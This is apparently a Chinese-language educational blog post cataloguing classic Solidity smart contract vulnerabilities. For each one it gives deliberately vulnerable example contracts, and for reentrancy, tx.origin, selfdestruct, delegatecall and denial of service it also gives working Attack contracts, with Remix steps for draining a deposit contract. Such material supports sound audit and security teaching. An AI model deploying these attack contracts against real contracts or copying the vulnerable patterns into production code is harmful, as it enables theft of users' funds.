1. 智能合约的经典漏洞
  2. 智能合约的审计工具
  3. 智能合约学习资源
  4. 智能合约安全学习路线
  5. 区块链相关学习材料

以下总结的常见漏洞基本涵盖一般的漏洞类型,部分内容可能过于细致,或许有更加合理的分类方法。不过,应该能给大家提供一定的参考。

整数溢出

注意,Solidity 0.8.0 开始,加入了自动检查溢出,此版本之后的合约,可不必担心这个漏洞。

下面用 Beauty Chain 的例子说明,源码在这里,可见如下:

从区块链浏览器将代码复制到 remix IDE,仔细看第 259 行的 batchTransfer 函数,它用于给地址列表中的所有地址都转账 _value:

1
2
3
4
5
6
7
8
9
10
11
12
13
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
uint cnt = _receivers.length;
uint256 amount = uint256(cnt) * _value;
require(cnt > 0 && cnt <= 20);
require(_value > 0 && balances[msg.sender] >= amount);

balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < cnt; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);
}
return true;
}

但是没有检查 amount 是否溢出,这导致每个人的转账金额 _value 很大,但是总共的 amount 却接近 0.

重入攻击

当攻击者调用储币合约中的 withdraw 函数时,withdraw 使用 call 底层调用发送以太币,此时接收者是攻击者的 fallback 函数,因此如果在 fallback 函数中重新调用 withdraw 函数,并且没有检查机制,就会发生重入攻击。代码来自这里。如果不清楚 fallback 函数或者 receive 函数,可以看笔记。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract EtherStore {
mapping(address => uint) public balances;

function deposit() public payable {
balances[msg.sender] += msg.value;
}

function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);

(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");

balances[msg.sender] = 0;
}

// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}

contract Attack {
EtherStore public etherStore;

constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}

// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}

function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}

// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}

  1. 先部署 EtherStore,然后分别用不同的账户 调用 deposit 函数,单位选择 ether,value 为 1.

image-20220201151421686

image-20220201151807345

  1. 复制 EtherStore 合约地址,作为构造函数参数,选择 Attack 合约,部署(注意去除部署时地址的双引号)!

image-20220201152451682

  1. 选择新的账户,同样单位选择 ether,value 为 1,调用 attack 函数,可见 Attackt 合约的账户余额增加,EtherStore 的账户余额归零。

最后,感兴趣的话可以阅读 theDAO 的源码,漏洞所在的函数为 splitDAO

payable 函数导致合约余额更新

因为当执行函数之前,合约首先是读取交易对象,因此合约的余额会先改变成 原来的余额+msg.value,某些合约可能会未注意合约余额已发生改变,导致漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract payableFunc {
address public Owner;

constructor() payable {
Owner = msg.sender;
}

receive() external payable {}

function withdraw() public payable {
require(msg.sender == Owner);
payable(Owner).transfer(address(this).balance);
}

function multiplicate(address adr) public payable {
if (msg.value >= address(this).balance) {
payable(adr).transfer(address(this).balance + msg.value);
}
}
}

这里的 multiplicate 函数 msg.value >= address(this).balance 永远不可能为真。

tx.origin

用交易的发起者作为判断条件,可能会被精心设计的回退函数利用,转而调用其他的合约,tx.origin 仍然是最初的交易发起者,但是执行人却已经改变了。

如下面 phish 合约中的 withdrawAll 函数的要求的是 tx.origin = owner,那么如果是 owner 向 TxOrigin 合约发送以太币,就会触发 fallback 函数,在 attack 函数中调用 withdrawAll 函数,窃取以太币。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract phish {
address public owner;
constructor () {
owner = msg.sender;
}
receive() external payable{}

fallback() external payable{}

function withdrawAll (address payable _recipient) public {
require(tx.origin == owner);
_recipient.transfer(address(this).balance);
}
function getOwner() public view returns(address) {
return owner;
}
}

contract TxOrigin {
address owner;
phish PH;

constructor(address phishAddr) {
owner = msg.sender;
PH=phish(payable(phishAddr));
}

function attack() internal {
address phOwner = PH.getOwner();
if (phOwner == msg. sender) {
PH.withdrawAll(payable(owner));
} else {
payable(owner).transfer(address(this). balance);
}
}
fallback() external payable{
attack();
}
}

短地址攻击

假如地址 0x1100000…1(40 位),但是输入的地址为 0x1100000…1(39 位)=>那么实际地址会变成 0x1100000…10(40 位)。

因为交易中的 data 参数是原始的调用数据经过 ABI 编码的数据,ABI 编码规则中常常会为了凑够 32 字节,在对原始参数编码时进行符号扩充(可见博客的应用二进制接口(ABI))。因此,如果输入的地址太短,那么编码时不会检查,就会直接补零,导致接收者改变。

挖矿属性依赖

合约中有部分内置变量,这些变量会受到矿工的影响,因此不应该把它们当作特定的判断条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
contract Roulette {
uint public pastBlockTime;
fallback() external payable {
require(msg.value == 10 ether);
require(block.timestamp != pastBlockTime);
pastBlockTime = block.timestamp;
if(block.timestamp % 15 == 0){//依赖了区块时间戳
payable(msg.sender).transfer(address(this).balance);
}
}
}

合约余额依赖

selfdestruct 函数是内置的强制执行的函数,因此即使合约并没有可接受以太币的方法,其他人也可以强制通过 selfdestruct 函数改变合约的余额。因此,需要仔细检查是否把合约余额当作判断标准。

例如下面的合约,规定只有恰好为 7 ether 才能胜出,但是攻击者可以通过 selfdestruct 函数让没有人能够达到 7 ether.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract EtherGame {
uint public targetAmount = 7 ether;
address public winner;

function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");

uint balance = address(this).balance;
require(balance <= targetAmount, "Game is over");//只有合约余额达到 7 ether 才能成功

if (balance == targetAmount) {
winner = msg.sender;
}
}

function claimReward() public {
require(msg.sender == winner, "Not winner");

(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}

contract Attack {
EtherGame etherGame;

constructor(EtherGame _etherGame) {
etherGame = EtherGame(_etherGame);
}

function attack() public payable {
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
}

数据私有属性的误解

标注为 private 区域的数据并不是不能访问,它们存储在一个又一个的 slot 里,如果读者不熟悉的话,可以阅读博客中关于 EVM 的存储空间的解释。

delegatecall

代理调用时会用调用者的上下文替代被调用者的上下文,例如下面 HackMe 中的回退函代理调用 lib 的 pwn 函数时,在 lib 中的变量 owner 将会是 HackMe 中的 owner,因此 pwn() 中修改的实际上的 HackMe 的 owner,msg 对象是 HackMe 中的 msg 对象,也就是调用 HackMe 的人。

例如:

Attack.attack 调用 HackMe ,然后找不到 pwn() 这个函数签名,因此跳转到回退函数,然后回退函数调用 Lib,匹配到了函数签名,但是由于上下文切换,造成了 HackMe 的全局变量被意外修改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract Lib {
address public owner;

function pwn() public {
owner = msg.sender;
}
}

contract HackMe {
address public owner;
Lib public lib;

constructor(Lib _lib) {
owner = msg.sender;
lib = Lib(_lib);
}

fallback() external payable {
address(lib).delegatecall(msg.data);
}
}

contract Attack {
address public hackMe;

constructor(address _hackMe) {
hackMe = _hackMe;
}

function attack() public {
hackMe.call(abi.encodeWithSignature("pwn()"));
}
}

拒绝服务攻击

依赖某些特定条件才能执行的逻辑,如果有人恶意破坏并且没有检查是否满足条件,就会造成服务中断。

例如下面的例子:依赖接收者可以接收以太币,但是如果接收以太币的合约无 receive 函数或者 fallback 函数,就会让逻辑无法进行下去。

多人竞拍,如果有出价更高的则退回上个一竞拍者的以太币,并且更新胜出者 king 和当前标价 balance,Attack 合约参与竞拍,但是无法退回以太币给它,导致 DOS。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract KingOfEther {
address public king;
uint public balance;

function claimThrone() external payable {
require(msg.value > balance, "Need to pay more to become the king");

(bool sent, ) = king.call{value: balance}("");
require(sent, "Failed to send Ether");

balance = msg.value;
king = msg.sender;
}
}

contract Attack {
KingOfEther kingOfEther;

constructor(KingOfEther _kingOfEther) {
kingOfEther = KingOfEther(_kingOfEther);
}

function attack() public payable {
kingOfEther.claimThrone{value: msg.value}();
}
}

交易顺序依赖

某些合约依赖收到交易地顺序,例如某些竞猜或者首发,“第一个” 之类的要求,那么就容易出现抢跑 (front run) 的情况。再例如,利用不同代币汇率差别,观察交易池,抢先在汇率变化之前完成交易。

下面是通过哈希值竞猜,观察交易池,以更高的 gasprice 抢跑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract FindThisHash {
bytes32 public constant hash =
0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2;

constructor() payable {}

function solve(string memory solution) public {
require(hash == keccak256(abi.encodePacked(solution)), "Incorrect answer");

(bool sent, ) = msg.sender.call{value: 10 ether}("");
require(sent, "Failed to send Ether");
}
}

使用未初始化的内存

根据 Solidity 的编译器,如果需要临时存储的操作需要大于 64 字节的空间,那么不会放入 0x00-0x3f 的暂存空间,又考虑到临时存储的生命周期很短,因此直接在当前内存指针的下一个位置写入,但是内存指针不变,0x40-0x5f 记录的内存大小也不变,然后继续写入内存时直接覆盖。因此,在直接操作未使用的内存时,这块内存可能不是初始值。

如果在函数中声明 memory 变量,它可能不是初始值。

权限设置不当

取币、自毁操作需要设置严格的权限。建议非必要,不要设置 selfdestruct 函数。

合约实例偷换地址

例如,下面的 Bank 合约具有重入漏洞,似乎也只是多了一个 Logger 合约作为日志记录者。但是实际上,部署 Bank 的人可以在部署 Bank 时不填 Logger 的地址,而是直接填入 HoneyPot 的地址。在合约实例的名字的误导下,如果不去检查合约实例的地址上是否真的为预期内的代码,那么很容易上当。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract Bank {
mapping(address => uint) public balances;
Logger logger;

constructor(Logger _logger) {
logger = Logger(_logger);
}

function deposit() public payable {
balances[msg.sender] += msg.value;
logger.log(msg.sender, msg.value, "Deposit");
}

function withdraw(uint _amount) public {
require(_amount <= balances[msg.sender], "Insufficient funds");

(bool sent, ) = msg.sender.call{value: _amount}("");
require(sent, "Failed to send Ether");

balances[msg.sender] -= _amount;

logger.log(msg.sender, _amount, "Withdraw");
}
}

contract Logger {
event Log(address caller, uint amount, string action);

function log(
address _caller,
uint _amount,
string memory _action
) public {
emit Log(_caller, _amount, _action);
}
}

// Hacker tries to drain the Ethers stored in Bank by reentrancy.
contract Attack {
Bank bank;

constructor(Bank _bank) {
bank = Bank(_bank);
}

fallback() external payable {
if (address(bank).balance >= 1 ether) {
bank.withdraw(1 ether);
}
}

function attack() public payable {
bank.deposit{value: 1 ether}();
bank.withdraw(1 ether);
}

function getBalance() public view returns (uint) {
return address(this).balance;
}
}

// Let's say this code is in a separate file so that others cannot read it.
contract HoneyPot {
function log(
address _caller,
uint _amount,
string memory _action
) public {
if (equal(_action, "Withdraw")) {
revert("It's a trap");
}
}

// Function to compare strings using keccak256
function equal(string memory _a, string memory _b) public pure returns (bool) {
return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b));
}
}

未检查底层调用结果

call 这类底层调用的方式失败并不会发生回滚。因此,攻击者可以精心设计 gas,让底层调用回滚,而其他语句继续运行。

签名重放

一般而言,签名会和特定的交易或者消息绑定,但是为了业务逻辑自己设计的多重签名,可能会疏忽造成签名重复使用。例如下面的 transfer 函数,通过库合约恢复发送者地址,但是如果签名是可重用的,那么就会造成意外的取款行为。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/b0cf6fbb7a70f31527f36579ad644e1cf12fdf4e/contracts/utils/cryptography/ECDSA.sol";

contract MultiSigWallet {
using ECDSA for bytes32;

address[2] public owners;

constructor(address[2] memory _owners) payable {
owners = _owners;
}

function deposit() external payable {}

function transfer(
address _to,
uint _amount,
bytes[2] memory _sigs
) external {
bytes32 txHash = getTxHash(_to, _amount);
require(_checkSigs(_sigs, txHash), "invalid sig");

(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}

function getTxHash(address _to, uint _amount) public view returns (bytes32) {
return keccak256(abi.encodePacked(_to, _amount));
}

function _checkSigs(bytes[2] memory _sigs, bytes32 _txHash)
private
view
returns (bool)
{
bytes32 ethSignedHash = _txHash.toEthSignedMessageHash();

for (uint i = 0; i < _sigs.length; i++) {
address signer = ethSignedHash.recover(_sigs[i]);
bool valid = signer == owners[i];

if (!valid) {
return false;
}
}

return true;
}
}